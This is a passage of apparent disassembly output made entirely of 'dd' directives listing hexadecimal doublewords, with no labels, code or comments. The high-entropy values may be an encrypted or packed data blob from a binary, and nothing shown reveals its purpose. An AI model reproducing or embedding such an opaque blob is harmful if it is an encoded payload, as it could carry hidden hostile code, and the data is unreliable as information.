0D13BCC5Eh, 2ED25274h, 0E77D6h, 758D5713h dd 0EB0002AEh, 1904B998h, 95F95Fh, 6A7A1E46h, 0AE1F42B0h dd 3D01C978h, 47CB80DFh, 76D0A201h, 2516001Dh, 0C0FEB005h dd 8C0E5567h, 0C0AA9854h, 5A38CAE9h, 8B28031Dh, 0D3CCA396h dd 29A9B388h, 80EC0C39h, 1E202E6Dh, 0E8D5F8h, 99FFD271h dd 88B83B75h, 50EAC702h, 0E37E5FFEh, 42588802h, 0BD41006Ch dd 2A3D7145h, 200DEE2h, 23D6F7F3h, 275DF2h, 3920B22h, 767E1C6h dd 40C3D500h, 0C28104FFh, 0D7720095h, 0F8F1341Bh, 0AF00A438h dd 0D339D05Bh, 7F9475C1h, 4D2E0390h, 5C258908h, 71F246F0h dd 0A5F34B00h, 0CE398E91h, 112E00C1h, 82F7CAABh, 0C3008130h dd 65C9C455h, 0EF039F1h, 0CFF9BAB0h, 0F1E7DEC7h, 0D8D95616h dd 5071025h, 6F4AC15Ch, 3A144143h, 0F01EBACAh, 18A886F7h dd 0B33C4E82h, 1C0374A5h, 0AC25AE12h, 2063C72Eh, 0A4102005h dd 950F24EEh, 0FD299D71h, 0AB042800h, 0FF4B9689h, 0C89BEF71h dd 30B3718Fh, 10878021h, 52801E34h, 938013Ah, 97791257h dd 0F3C10E0h, 9472B84Ah, 0DE041DFDh, 8A6A0005h, 0FA9553F2h dd 448C64DEh, 1F22A618h, 8FA5F163h, 9C362F9h, 92072C11h dd 0A9F35C88h, 0E858FBD3h, 0C3E1840Eh, 2856901Ah, 0C3A4F8F0h dd 141EEB67h, 2305EAF3h, 47914EDAh, 40443C20h, 0CA106141h dd 86164839h, 524A1CEh, 6F315314h, 20C897Ah, 48202523h dd 0C3001CBCh, 0E9880534h, 43AD0677h, 4108A28Ch, 811C0D44h dd 2301206h, 0C901FF64h, 90E04D09h, 33F200F7h, 0F350F172h dd 84000469h, 0B22A2041h, 296EECh, 1263F04Ah, 0AAB0740Bh dd 0B9E1C91Fh, 6B002812h, 38201042h, 0D6591F95h, 0A1880336h dd 13B01757h, 0CA7EAC4Ah, 1003A2F0h, 0BF925509h, 0BAAAC1B4h dd 0AD3F90BBh, 2C2864FEh, 84A403A9h, 9D6A1F1Dh, 0BD70D95Ah dd 0C2D9093h, 18598832h, 90067D24h, 713F8CE3h, 3044802Bh dd 6625AB12h, 0C83CFE68h, 8905B4Bh, 0A5185020h, 4576D4C4h dd 0BCB0424h, 0C1F15ECAh, 708806A1h, 3A3D56ABh, 313F46h dd 165BF362h, 1E7F740Ah, 5F2FC8AAh, 0F08E80D9h, 110F5D42h dd 1C041433h, 0F2D4D324h, 5F9C808Dh, 63E61559h, 78189C92h dd 0D230CCAh, 8921BDAFh, 0E2F89502h, 12E6C304h, 0B8F9BCF7h dd 0EB51F0B4h, 0C43E2B7Fh, 25AA8C3Ch, 80184AE0h, 3488D544h dd 0CAA8204Ah, 7F2E148h, 57BEA22Ah, 54C221F9h, 0F1FC4AB3h dd 89B0C308h, 91FC5EA8h, 9E9D51E0h, 1804168h, 4A3CB06h dd 84E07A9h, 500C56E0h, 0F4B8745Dh, 430D6800h, 0D0388817h dd 7685EA14h, 0DCEE0044h, 0C91621C0h, 0FF7C4674h, 3EEA5E2Eh dd 1C1F700h, 741CD9Eh, 0D1048A49h, 300A7332h, 3BF90FC3h dd 3CE9E827h, 4002D907h, 66D00D18h, 74048B1Dh, 1E331C4Eh dd 80899F4Ah, 83A52E4Fh, 203E0C66h, 8A61808Eh, 0F2EB8F1Ch dd 0EE881E45h, 44470399h, 9CF0E169h, 483AA63Bh, 0A9218057h dd 0B0683CE4h, 647585h, 0B80A7320h, 55357469h, 0C305E901h dd 0B448F87Eh, 47CCEC40h, 0A95A00C5h, 9E159204h, 8B308D5Bh dd 123BB222h, 95D300BCh, 5083440Dh, 0FE03380Fh, 17045257h dd 8908A314h, 0F7F8F070h, 119A00CAh, 275C08Bh, 15392B94h dd 9E059CA9h, 0FE081380h, 749CB254h, 61800E1h, 2F23B459h dd 0FA03A25Ch, 6445A88Bh, 71C59088h, 804D01C3h, 8F26A69h dd 172DE4D3h, 5D277005h, 0F1ACBCB4h, 2B157300h, 0CBF956FBh dd 0A4E37A00h, 1C071B12h, 0DE98004Eh, 0C8EB722Ah, 7300CF26h dd 0D0AC795Eh, 0F7D51A2h, 1AA42BDBh, 19582163h, 60E4D7D1h dd 17039156h, 4FA9A276h, 0F85FC30Bh, 788AE7Eh, 0D1BE5355h dd 1BEC80E8h, 5E005B2Fh, 0E2F77208h, 1E5FDC8h, 5181AD1Fh dd 6132B9C6h, 0F18CC8C0h, 36F02200h, 0D01931BBh, 0F56D0EF8h dd 50C18624h, 0E4F49A52h, 5600F203h, 9636641h, 1D4B9085h dd 9DBFFB83h, 948F00ACh, 0FA71EA55h, 0F0F27A00h, 7B9B1028h dd 14030F3Bh, 0AE611872h, 0CC51B375h, 1002372Ch, 0F3F0344Fh dd 0FEE340A6h, 89F400E3h, 2EBF804h, 0C800C031h, 0BF841090h dd 0C970F1h, 3C7FB12Bh, 1A961130h, 41D24124h, 3DA5C100h dd 7F349455h, 36640043h, 0F7C90F4h, 1AFC54B6h, 4B0E9490h dd 0C0F9D101h, 7C5D81C7h, 4CD701E2h, 8DF42F65h, 0DFCBFCFEh dd 0D54F850Fh, 0EB4BC0FFh, 1EB8B657h, 80C69D6Bh, 0F4A74D1Dh dd 91005ADCh, 580BC98Ah, 7402320h, 151AD042h, 3DEB6013h dd 1B04E57Ch, 8D78384Ah, 54704D87h, 70486443h, 0EAD13F07h dd 7CD28580h, 0B58AFA12h, 750B7800h, 881E1C01h, 0E800318h dd 4A02C083h, 91EF51E0h, 60BD3A03h, 0D04BFCC8h, 3D49B13h dd 6A2AC22h, 8DB1FDB4h, 0DA8BE4C0h, 0F41246EEh, 0DF013926h dd 30A58559h, 0C428C1EFh, 98C017D8h, 8E02007Ch, 6854A118h dd 0AC9083F6h, 85000F79h, 9541015Fh, 39FD3B0h, 1913CC45h dd 0A2900D66h, 4207D55Ch, 1A6CFD9Dh, 68D103F0h, 0C0322E24h dd 0C7C500EFh, 1F1EB5FFh, 1764DB00h, 5A8C5452h, 0E5A400A8h dd 34FB1056h, 0D7008209h, 85890147h, 7598ABCh, 2F06BD83h dd 91590FEh, 8B005184h, 1CEEAA41h, 803108h, 9FA6C721h dd 7C86C2FFh, 9715C800h, 0B80D55F9h, 2FB90070h, 3E64B5E2h dd 20048D0h, 27DC14B2h, 44B820h, 50143D4h, 0B566281Bh dd 830F3D05h, 0C1BE1CC6h, 8E431330h, 0A03C6BC4h, 50887281h dd 1F2F010Ch, 3916F76Ah, 8C8F878h, 39A0200h, 80B96019h dd 0C1FE00E2h, 0CAB1DFE7h, 440099A0h, 35062005h, 3C3438Dh dd 48777EB8h, 2C991F68h, 80CD4A5h, 40D05900h, 0D250C653h dd 0FD8A3AE7h, 0F6BF2780h, 0E0B41B4h, 0E1230101h, 151DC384h dd 7CF88F8h, 0B1E9EDA4h, 810FF9EEh, 0D77C6880h, 0E8001748h dd 0FD19E1F2h, 1560A1Dh, 463576DAh, 0DC2A5420h, 250310B2h dd 7475F8Bh, 0F156E06Ah, 3AC07788h, 7FBD14Ah, 956EEB62h dd 9D8B50CEh, 83184787h, 14D010F0h, 0D4D63C97h, 0B0FE880h dd 53D23E01h, 8A71CD00h, 0B78E13B9h, 26100027h, 164AAB95h dd 63EED84Eh, 0EC835707h, 89D1673Dh, 0B5609940h, 0F27B0009h dd 8435D337h, 49008FAEh, 0EC5EDD2Fh, 2130879h, 982E8B5Ch dd 0A5606353h, 0CC03A869h, 28853AF3h, 435AE020h, 724000B8h dd 58E14BECh, 0E244D2Ch, 56004441h, 5357AED6h, 0D83900FAh dd 68518376h dd 0CA00AD3Eh, 1E15587Dh, 23AC3h, 0A0149574h, 637C0CACh dd 0F0444007h, 805973BFh, 114BD920h, 0EFE3A69h, 552D098Eh dd 78FF3C3Eh, 23725C21h, 9A0AFF0Eh, 0EB50DA40h, 591FB525h dd 6F00794Ah, 50CE8EDh, 7112F675h, 784D00F8h, 7CA85DF0h dd 1F1345E1h, 260E7D0Eh, 4254C04Ch, 0EA9768h, 5DEEE456h dd 523CA546h, 4CC75700h, 8DF3C959h, 0BBF60054h, 40E06BBAh dd 0BF0B3CD5h, 0B59F9Ah, 44CE4653h, 6BF300B7h, 0A2EEF47Bh dd 2400D23Ch, 705C9D64h, 42C0B4h, 0E4534AFEh, 8D6DD0AAh dd 0D700C8FCh, 9772EF0Dh, 8FE8C3h, 98E0138h, 2C03C766h dd 43C2830Fh, 7F084106h, 3AD08107h, 0CCB00F0h, 0E2EACBFh dd 2014510h, 2D4C6A30h, 0B09FC32Bh, 132C0732h, 121CF018h dd 11C1D08h, 80B91E80h, 8B0EC020h, 31473h, 0EE930C69h dd 0F29FEDAh, 2C6EE000h, 8C046865h, 43C43EB5h, 20748680h dd 80401C93h, 758D3803h, 0F9601317h, 2870A203h, 53620B72h dd 0CC80C214h, 55B39296h, 4A00DB79h, 541825BCh, 852120h dd 0A542F4ADh, 0DE973E16h, 3441331Fh, 2B1A8179h, 85240F4Ch dd 1D453E9h, 0C9E7A06Fh, 0C2C40709h, 0D021E365h, 0FACF4F94h dd 127113Ch, 0BD47B85Bh, 0EC85422h, 4CBE00B0h, 6303E179h dd 443D6C61h, 65768072h, 0EC749530h, 3A430E50h, 75A0CCB4h dd 6C118721h, 1D7CA13Bh, 9C80890Ah, 0C58B730h, 87D4009Fh dd 0DB45C6E1h, 100009BFh, 404D8D43h, 50DA1463h, 0D9B45Ch dd 74C3FB3Ah, 0E9870CBEh, 0F1044F98h, 63DE9515h, 0CCC0F2C7h dd 75804CFEh, 755A00F3h, 0E7F9DF5Fh, 550025DDh, 450F43Bh dd 1F84F335h, 336F42h, 9F90E82Eh, 0CC00E446h, 0DC09E03Fh dd 1F41F1h, 17122211h, 870D072Bh, 0AF0F8000h, 9CADC75h dd 0B8A02E0h, 3EF708BAh, 0EC55D660h, 0CA6C51Eh, 89F8F3CAh dd 0D9B47C01h, 50E46E53h, 232A0208h, 28877141h, 3B83FC80h dd 76B8D12Eh, 0E10A300h, 0DD114178h, 0B66E0003h, 72040C28h dd 8A7B1812h, 3A3901F2h, 0E758250h, 41020742h, 78E95303h dd 1CCBC4h, 522249FFh, 85BABE45h, 0A2315D00h, 0A36F5853h dd 0FFC50F11h, 88E0C733h, 5A65372Bh, 0FE2A8200h, 0C0B70F02h dd 0F84D0067h, 9A72F9B5h, 8F076D17h, 0E78BAAFDh, 2ABF0370h dd 311600CFh, 58633F23h, 6DF6D761h, 0FC55C000h, 8D95FA2Ch dd 91BD072Ah, 0B0EA4C39h, 5F0B4D93h, 1D7D8F00h, 909C1FBCh dd 0AEAD0141h, 0C55880D6h, 70182023h, 1DCCA13Bh, 5280880Ah dd 0EC2CA7D4h, 54A3022Dh, 29B63D8Dh, 0A51A0560h, 0EB97E48h dd 0E0F3CB9Ch, 440C2A20h, 5089077Ch, 51100DD1h, 61E91977h dd 0A6C3202Fh, 1500E8F4h, 28799020h, 2D058Bh, 1CDB313Fh dd 0DAC043C1h, 74D80100h, 0E31DD112h, 0C0E0072h, 0F61485E1h dd 0E42CC8FCh, 7300CBDAh, 785152F2h, 0FB600023h, 0C131A00Dh dd 20E14E1h, 54B98Dh, 0AEF3FD4Fh, 790B8FCh, 1CA483ACh dd 0E9ABA204h, 70816641h, 4717BA62h, 0C50040A7h, 27A09184h dd 24F50774h, 0F8FA80h, 0FC1390Dh, 920060FEh, 1D495057h dd 8CFE89h, 0EE475DDBh, 159862B8h, 81268D7Dh, 1612E344h dd 0AE80841Fh, 1418F51Bh, 42933A84h, 0BB00753Bh, 7378E5A7h dd 2300A56Ah, 3E797769h, 8D760Ah, 56423514h, 0F429DBB2h dd 5C0038EEh, 0EA72A5EBh, 0E2D14B0h, 39FC5A61h, 905C7C0h dd 93E47648h, 458C3C00h, 94BAEC3Eh, 75F500C5h, 9198548Bh dd 0C10074B1h, 3A77EF56h, 0A9D319h, 0EBE2BB0Dh, 4910434Fh dd 0DD07901Fh, 75623000h, 26961Bh, 0E9855BA5h, 103D154Ch dd 0A316A80Fh, 0B9A9E7A7h, 147D8BD0h, 5FB60028h, 8F805E5Bh dd 173936E9h, 95380C9h, 480F34C3h, 4CAE4C41h, 7794050Ch dd 830011BCh, 0C958F631h, 0D9B81Ch, 240A7EFFh, 0F70545B5h dd 0C201E300h, 0DF8DD284h, 35460E1Ch, 89800615h, 40E3E2D7h dd 14012A07h, 3C203B11h, 1E4199F0h, 0C08944BEh, 1525F7FEh dd 0C3006978h, 3519010h, 0B823A905h, 495A038Eh, 7180A5C8h dd 790407E0h, 93893200h, 46B0095Ch, 82DC1FE2h, 0A314C084h dd 0BA1C1318h, 97920400h, 0E8BF6793h, 0CCA006Fh, 0B2FF9415h dd 3D008BC5h, 0D43B060Eh, 7D485Ch, 82B13E2Ch, 1A72D939h dd 8D6C9000h, 9149E534h, 3C75DDh, 0A47DA6F8h, 460FA712h dd 0E1541A00h, 7C8848A5h, 77190094h, 4CEFEA99h, 0FF073534h dd 4D21832h, 0A8C35B40h, 0AA4A3D3Eh, 0DDF43080h, 0F640616Eh dd 0FA81F800h, 4BBF4F0Ah, 878A00D1h, 0FDA68846h, 0F62E410Ch dd 0BB0EF43Dh, 27902023h, 3AF8F06Ah, 190096F9h, 0D5D20A0Ch dd 100E954h, 0D3445E9Fh, 0D8EE02h, 9B750852h, 48711CDDh dd 2AC31000h, 3B558F8h, 33C812A0h, 8FF05DBh, 57A9019Fh dd 0FC2DE241h, 0C174D0D2h, 8A49C200h, 8EF83BCAh, 73200FBh dd 87D5355Ah, 9D0088F1h, 0C8D0E44Ch, 184351C1h, 66085D3Bh dd 42001D40h, 0EFD6934Eh, 1F90ABDCh, 40106A12h, 3075448Dh dd 0AC09B93Fh, 9109B5h, 0F5EF123Eh, 8BF61EC4h, 0DD807E06h dd 0BE11F9ECh, 0CA2C4128h, 803FF28Dh, 0E0EB4AD6h, 5BF782h dd 0F8C7448Ch, 0D0FB5FEFh, 4A8A330Fh, 95F58013h, 3FF0DA2h dd 0F72765C5h, 56D0B614h, 85395917h, 0CB4800EAh, 0D947EBCh dd 158A0582h, 81615E4Ch, 0F00F1032h, 35170BC3h, 700F3C5h dd 0E37F02BAh, 0B1E40074h, 0C8F26FA9h, 9C00A892h, 0F385E83Eh dd 127B81h, 8B414C87h, 0D03D1880h, 0D6732600h, 830FDFA7h dd 124300E5h, 60890C24h, 0DF901A90h, 59EF1000h, 5D88A03h dd 352900CBh, 0BA37DCD2h, 7200DAC1h, 22124E1Fh, 1772110h dd 0C6F7690Dh, 402BACCEh, 0CB2519B0h, 1F947500h, 0DD1802F3h dd 5E1D0064h, 913BA40h, 0E800CEFAh, 0F535AE4Ah, 53CCA9h dd 0D9D24EFFh, 897F4801h, 16C90A07h, 64C158FCh, 0E6600E19h dd 2833B32h, 3E92042Ch, 3B66A080h, 7127506h, 76C98500h dd 45BE8B20h, 0EEFC2C5Dh, 814000Bh, 21612EBh, 0C00017Ah dd 0D400EC0h, 355449h, 41CE751Bh, 8289AC08h, 0EAA4F800h dd 4790C362h, 142D00DCh, 3EE091FBh, 1500EE21h, 0EC2906C0h dd 0F01F84h, 1DC8BD4Ch, 0FC485FB9h, 0EFE06B02h, 0F58E412Dh dd 344F9B40h, 0D029EDF5h, 0C50079B7h, 4ACCBD43h, 4FB67h dd 0A0380C4h, 8B87558Dh, 351DD77Dh, 49001EB5h, 1AB940C6h dd 19FA00C4h, 1624DEC0h, 0B100DF77h, 9B7A8528h, 70CAA1Dh dd 899E2099h, 1A7FB0FBh, 24008E01h, 7027CA11h, 0FCDFF045h dd 320D0598h, 802EE2E9h, 9B89110Fh, 50003E71h, 25F5E86Fh dd 1A6DC9h, 2DAF884Ah, 0BD830685h, 9847E40Fh, 0EB2BA108h dd 0B02E7E1Ch, 7500F25Dh, 43C61611h, 28FB05h, 0C134E94Ah dd 0A282701Dh, 1C8E9507h, 857214C0h, 0D7C0C0D2h, 0B4481FA0h dd 5C80FAEAh, 0F78023Ah, 0F7008537h, 0B26BBA13h, 710D49Ch dd 80792075h, 1757D054h, 11001993h, 0D2515303h, 0A04D14h dd 0F78B4781h, 0D0AA4256h, 9EFFB300h, 0E8FCEF51h, 136100D3h dd 7F468A3Ch, 88050920h, 699D7F9h, 87578580h, 30871C2h dd 0A2B45005h, 604C6A8Eh, 4DE82C66h, 49271B00h, 0C0223Dh dd 0BAE12A76h, 0AA922E38h, 7B430700h, 0EE811EE0h, 971400A2h dd 754F8568h, 0A91328E2h, 6100CA21h, 951ABB92h, 610D0705h dd 50201253h, 915189D4h, 80D00E3Ch, 3C4F9BE8h, 1F7F55h dd 522228DCh, 0A11392F0h dd 0E6E55800h, 309419D1h, 21F53F59h, 0D740A00h, 0ADD73C84h dd 4300EC90h, 564B5E2Ah, 1C212C30h, 0DE1D5960h, 40B51F5Bh dd 792A4D6h, 2C037389h, 852E56DDh, 352DA0FCh, 6B6C1EE9h dd 0C0655D64h, 991257C2h, 0AB735B30h, 6800C4E8h, 164E912Dh dd 0AF6CB8h, 0C20B9557h, 0C050C194h, 2DAD2201h, 49AC5C90h dd 4021FD40h, 6C7002Ch, 2811D6D4h, 9B03CB42h, 22431AFDh dd 7AD998AAh, 4330093h, 3C60ABCh, 0C9009901h, 6F8B29DEh dd 75B9A609h, 116500A5h, 5B73A488h, 1AE626C7h, 535D7401h dd 41243EF9h, 0D794E8h, 8DD38549h, 0E8CB3122h, 7B80BE1Eh dd 4C7E04C0h, 1FBAE619h, 402F2BE1h, 0F62E284Ah, 46FE2D42h dd 52D6EE00h, 92B6E74Fh, 2AB3008Dh, 1CB95D65h, 2E1F29C4h dd 80E7438h, 4254C730h, 17AF9770h, 3F59FA90h, 0EC00F7F0h dd 0CF806A9h, 0E4008AF4h, 89FC7E5Fh, 0F100F41h, 53A22F3Eh dd 3B2C9FA0h, 8000550Eh, 0A9F752B9h, 77138B2Ah, 1AA80796h dd 0B008F49Fh, 4A95651Dh, 54855600h, 5E2F412Eh, 6570E776h dd 0AA810057h, 80744965h, 0BE0207F0h, 0EB0F0263h, 0B24DE005h dd 7F17F8C1h, 0EC880E11h, 29604276h, 5245CC6h, 55455900h dd 0EB3125B2h, 93AF00CAh, 5C7D1404h, 0E1002CBCh, 100E2F71h dd 77F1799Ch, 9A0A0078h, 0EC6EDF3Eh, 52000B44h, 7367650Eh dd 0EE9320h, 0D3815A84h, 9B64C883h, 71BF1800h, 17514794h dd 93F20052h, 31D0811Fh, 0F80039D2h, 41D7408h, 5275F7h dd 9A16B192h, 730A8BB0h, 806D400h, 95419FE8h, 0B8495F01h dd 0B87E007Eh, 9451A25Ch, 740C0018h, 76453AF4h, 6F3ED5EFh dd 0BD200735h, 95F00A9Eh, 3CE25EAh, 0DB481408h, 0F7A0D81Eh dd 3D00A5D0h, 8A9018A9h, 7BC8FE04h, 6CF100F6h, 59AD14B9h dd 107D865h, 0C7D8051h, 0BBF27F50h, 5AEB0039h, 1FE81A03h dd 0C8005220h, 0E224D455h, 0F45148Ah, 4D485D37h, 0D03BA520h dd 46BE5105h, 0D800912Eh, 46048D21h, 0AA9E00C0h, 696FB20h dd 0D900AB10h, 0FAEBFC4h, 98177504h, 95700023h, 16F2B8D8h dd 0BE005CD4h, 0F8573ECEh, 54964h, 0B814922Ah, 6741526h dd 5869A703h, 0D8D1D7C2h, 13F681Ch, 3323E1FDh, 0D8458850h dd 10FA03B2h, 48A05D3Dh, 7ED20333h, 0C0800F40h, 704CA3Eh dd 5E0E8803h, 304AC7C3h, 0C40C51F1h, 0B2262F07h, 3A701B39h dd 7A66320Eh, 2E467588h, 0E5F45Ah, 5DD05110h, 0E800F83Eh dd 0D825996Fh, 730BEE89h, 4FAE0h, 0C822B7Ch, 265FAD56h dd 2ACBC907h, 5B7046FBh, 16BD1A21h, 0D0A58h, 1E8CED37h dd 7800A06Bh, 0FF21CC43h, 274D10h, 60DEDF75h, 7DF9B1E7h dd 0A7B36400h, 0EB2AC154h, 24A90707h, 57EA5953h, 0F57A501Fh dd 84002065h, 2C413249h, 7944A0h, 70B8220Ah, 62FB53BDh dd 190507Fh, 3300A0FCh, 13156A8h, 200BE5h, 5C15D524h, 6051F8C6h dd 0DB040801h, 2BAB4533h, 59C29E4h, 1D1CF527h, 10F28019h dd 13001109h, 87D18512h, 0EE881848h, 44012C1Ch, 57003F59h dd 0D5721571h, 2D00B479h, 0DF5AD4F6h, 44CBD6Dh, 503089D9h dd 338C8004h, 0A00CFD2h, 8D88EF18h, 219C11h, 0C36847C6h dd 0E27B7880h, 0B055500h, 22CA2EBAh, 60570044h, 4B011029h dd 2801FA5Fh, 16BE5250h, 4C4CB24h, 0D58300B3h, 0A981FBEBh dd 9100187Ah, 235060Ch, 0E2A876h, 5A402D7Ch, 52643155h dd 83762AE4h, 0A6187800h, 14D98906h, 0FCCE78FFh, 5A540E40h dd 1CAFE4DDh, 0A42BFAC3h, 830C1AA0h, 7430682Eh, 14020800h dd 0FE6A24B2h, 3F40F60h, 0AA0129B0h, 0CED8AC10h, 808A3EC0h dd 0AF49741Fh, 0DCE82B00h, 0E2F8B2h, 8DFC864Ah, 0D65048A4h dd 7F000D7Eh, 0C52F4423h, 7380C96Dh, 90D300A8h, 6774292Eh dd 32003BD9h, 1120C61h, 2036A5Bh, 0AB574555h, 946330C3h dd 2D9935EBh, 9014D05Eh, 1C8ACD1Fh, 66B000B9h, 0CE81DCAAh dd 0C2D80088h, 0C457016Ah, 430060C3h, 0F87D89A3h, 2F6FFABh dd 996625A7h, 4ADEEF7Eh, 3302C900h, 10CE307h, 1C8D180Bh dd 0D8C26938h, 9B1E825Ch, 0EC00428Ah, 8BF697C8h, 0ABBC0229h dd 519ACAA1h, 864BC640h, 5045480Ah, 500B91Fh, 44F0E83Fh dd 34CE0095h, 7DDB1EC3h, 0FE033E09h, 1058E665h, 0E7C0F8CDh dd 0EA310066h, 110DA5C3h, 100A229h, 0DC1C5E06h, 86957Eh dd 70FEF684h, 80905214h, 0D821E500h, 7D05253Bh, 4280E2Eh dd 0A54261A6h, 0D0609FA0h, 1C002DE3h, 715FC831h, 934335h dd 8D092280h, 89A59644h, 6610B900h, 148EBB8h, 55500018h dd 0C395CCCFh, 8300021Fh, 20CD0C10h, 0B0067Dh, 6CE8AAF2h dd 0F312C879h, 80037BFEh, 363E2E26h, 6A65D064h, 0CD770006h dd 234D836Dh, 9DB0145Bh, 15A65E14h, 0A39400D5h, 0BEA09A95h dd 74EB0D3h, 3F8624FEh, 0E72230D2h, 420F01B7h, 56A57h dd 0F2088AECh, 3B580051h, 0C24AE5FDh, 0A258FCDDh, 452401DBh dd 4E776905h, 3491E8h, 0D317DB79h, 0A1C267Ah, 9DC0C100h dd 0A6C81DE0h, 0F7070142h, 0D8C3F8C2h, 0FF2FD983h, 10B3D0F0h dd 0E801E074h, 601316FFh, 0CF0E6Ah, 2D461C66h, 7C09E381h dd 0B6430403h, 0C0C0D3A0h, 0D80108h, 48469466h, 65AD7AAAh dd 745A3401h, 0C081D9C8h, 0D8D0D0h, 85CCFCE0h, 26076B24h dd 303CC200h, 0ED805889h, 66813BB3h, 5AA59Fh, 0D485F442h dd 1000D07Ah, 3738273Fh, 0A241B6h, 0B804129Ah, 8B2EC6AAh dd 0ED779201h, 0B151520Ah, 45AC0E0h, 0B88DC850h, 0D137837Ch dd 38302880h, 130B0300h, 2B230A1Bh, 0AA5E0033h, 8084B14Ah dd 0A200C0C7h, 6AB550B6h, 1D35C5AEh, 3EF58B98h, 0CAB803F9h dd 335868F2h, 2B0328D8h, 44DB300h, 37F3C43Fh, 1733C55h dd 5663004h, 0BA1DC044h, 1D0FD276h, 405D786Ah, 0FEE16753h dd 6E010028h, 91F93538h, 22009409h, 0DAC144AAh, 16EC89h dd 693E552h, 92EA3FEh, 3133E81Eh, 1EA6C74Ch, 841403FDh dd 0A272F03h, 0E1F810C8h, 0D302B00h, 0EF4155A9h, 2DD500B0h dd 0D3B11994h, 3C031532h, 33527B12h, 0E117E36Ch, 5EE83407h dd 0CDF15898h, 8FE5300h, 0EC1EFF26h, 91FD1400h, 65C2ADE1h dd 47823B42h, 6E32EE80h, 0CB135C7Ch, 0AC841000h, 0D99CA548h dd 0A62D0042h, 2985E80Ch, 36FA4430h, 0B8310800h, 2371409h dd 0CC240764h, 0D0951A52h, 9BA9BDC5h, 92D7B700h, 0E7E3104Dh dd 776A3A1Bh, 7D249500h, 4C568F01h, 0E45C0C00h, 401563A6h dd 0C5D90050h, 2C8B2943h, 0B4014E93h, 7410623Ah, 3FE8B514h dd 19A30FC2h, 31270A2Bh, 0F037E771h, 12A6BA1h, 723A630Fh dd 6469F2h, 8230B07Dh, 43AA1EB6h, 0E889006Dh, 9EEA85EFh dd 0C3E33400h, 0C0BBB121h, 31AA3A35h, 0F184B303h, 0C3A51F04h dd 3BA80628h, 3A3064A0h, 9160FE09h, 7522306Ch, 8EAA6860h dd 0E4DAF200h, 80142E66h, 0D4503AC0h, 1F096A81h, 0E55185CEh dd 0EAE7EC89h, 835D8200h, 0FECA522Dh, 0C7B900AAh, 1015944Fh dd 88002A93h, 28AB5168h, 1F83F0B4h, 0F10C6Dh, 0EC174BEEh dd 6500E035h, 62C45EE1h, 0FE4E344h, 9514E589h, 29F3620h dd 0FA00A2BBh, 488858B5h, 2B082Ch, 940183Ch, 0AA49FFB0h dd 7393C500h, 5328BF07h, 641500C3h, 99200634h, 2B0578DDh dd 5B5C1189h, 60A478C2h, 30AEB15h, 0EC4502FAh, 0ADD85852h dd 3B004683h, 0FFAE6787h, 581849B9h, 0BE3E568Fh, 0F8712ACh dd 96C0A938h dd 2C52D426h, 702AE309h, 0B6A83E4h, 3EEF9011h, 0CEB8001Ah dd 8F748D2h, 0AF982792h, 371D64F4h, 74ECAC16h, 9880C21Ch dd 0A5349714h, 7D2D0F72h, 19404312h, 0EC9E3937h, 0A446A00h dd 0CE64AA58h, 5F8500D0h, 3C3DC93Fh, 0AD39DE9Fh, 75138059h dd 508388EBh, 0A4C700AAh, 152553C6h, 2D004FF3h, 791E3AFCh dd 9A5BF8h, 1241FE5h, 0AF11E459h, 0D0033D00h, 708498A4h dd 0FEF28Fh, 736B6FF2h, 8CAA5524h, 8E749001h, 5E9219A7h dd 2785F8h, 8503D10h, 2F0C2E64h, 48F83E0Ah, 8F00CDC6h dd 5F4452B8h, 190A00E5h, 0AFF49940h, 0CD3A7180h, 0C2248012h dd 826F8A62h, 796E1DA6h, 85550303h, 2EB1215Eh, 0A580F056h dd 10658100h, 29DF4131h, 3D8F774Fh, 46002FC6h, 97A323Fh dd 0C500249Ch, 0E8842B54h, 40B3F7h, 37181665h, 53429AFBh dd 1331EA0Eh, 5F0E67EDh, 263A62C0h, 1493008Dh, 97103644h dd 0D6755420h, 0F3619801h, 453B92DEh, 40CC32E9h, 4333CA9h dd 0A126B700h, 29CA5C91h, 862B5B01h, 141CF92Fh, 0C62D30h dd 0FBA1FE45h, 83C22D7Fh, 400EBF8h, 6A762170h, 136FCA5h dd 75323C48h, 0C8180C24h, 0AE0F1499h, 0E0232091h, 100EEB29h dd 0F09004Bh, 12AFAA95h, 0AC38C21Fh, 47F20079h, 4402652Ah dd 407009F5h, 0DA8006F1h, 22F77ED2h, 1C1DE2FEh, 0B3262D45h dd 91BDC600h, 687130h, 33485E79h, 0FA8A4FFCh, 28A97B00h dd 39261980h, 2F7400F5h, 5DF45FC4h, 2200915Eh, 0F86594CAh dd 0E8CEB09Ah, 0E6B89Dh, 9C14B218h, 2A0B24C3h, 0B0790800h dd 8DFC5309h, 7D4EA48h, 5BC3048Ah, 212450DDh, 0D200AAB7h dd 0DB94719Ch, 6F5F44Bh, 0B23A4BBh, 0C20098D1h, 3E988ACBh dd 802113h, 7426C084h, 87ABF417h, 31A9CF02h, 8FA7FABFh dd 76FCC086h, 0B42CDADh, 3D023267h, 48662A80h, 3F0044C4h dd 2893DB49h, 3B5638A1h, 539DB732h, 3E8647Fh, 2018421Ch dd 9F0243A8h, 3D90A13Dh, 0FF93EC8h, 20BCD91Eh, 41B1D44Fh dd 11010033h, 0A4400343h, 6700DE34h, 0D8B4D753h, 88FC3Fh dd 0DAAD330Ch, 24CDC029h, 0F753FE00h, 1CA7A5D2h, 3E500195h dd 91DFC8A8h, 0B24460B5h, 55AFF39h, 17314FEBh, 6A697F80h dd 5B301E21h, 63FC09Eh, 56846B4Ah, 0D3A38B2Ch, 0D044CF07h dd 32EB6D70h, 40B20007h, 343F0937h, 26002D1Fh, 18465698h dd 0F48071B5h, 0CC020035h, 0EE4CDA24h, 40001E09h, 8339B045h dd 0D5CFAAh, 0A81AC91Ch, 0BBA5EDDAh, 5A962F0Eh, 0D748C0A4h dd 0F3FE63Ah, 35252991h, 0C717BB60h, 1D006434h, 0A2D3D2E2h dd 0E14F6Ah, 0B345233Eh, 20A9840Ch, 0E4EC3Ah, 0AA5382B6h dd 4C092293h, 0B00FFBADh, 4FAF8157h, 0C010DA47h, 0F8BC1F2Ah dd 9E031BB8h, 79BF4A85h, 6425A0FBh, 0A60C0F17h, 758F9339h dd 7DD8C560h, 0ED7A8D35h, 0E4A83700h, 0D6561CCEh, 636E2A1h dd 3465401h, 76007662h, 0E8028891h, 30D7B5Ah, 707E843Bh dd 0F0F77A85h, 0AC758224h, 0D1E62798h, 9F952200h, 0D12A4FCh dd 7A340047h, 0E804C8B9h, 7E3CC0ADh, 8770808Eh, 4DBEE269h dd 54F20E3Eh, 9767FC24h, 8BA4D08Fh, 76072B5Ch, 0B5BCC025h dd 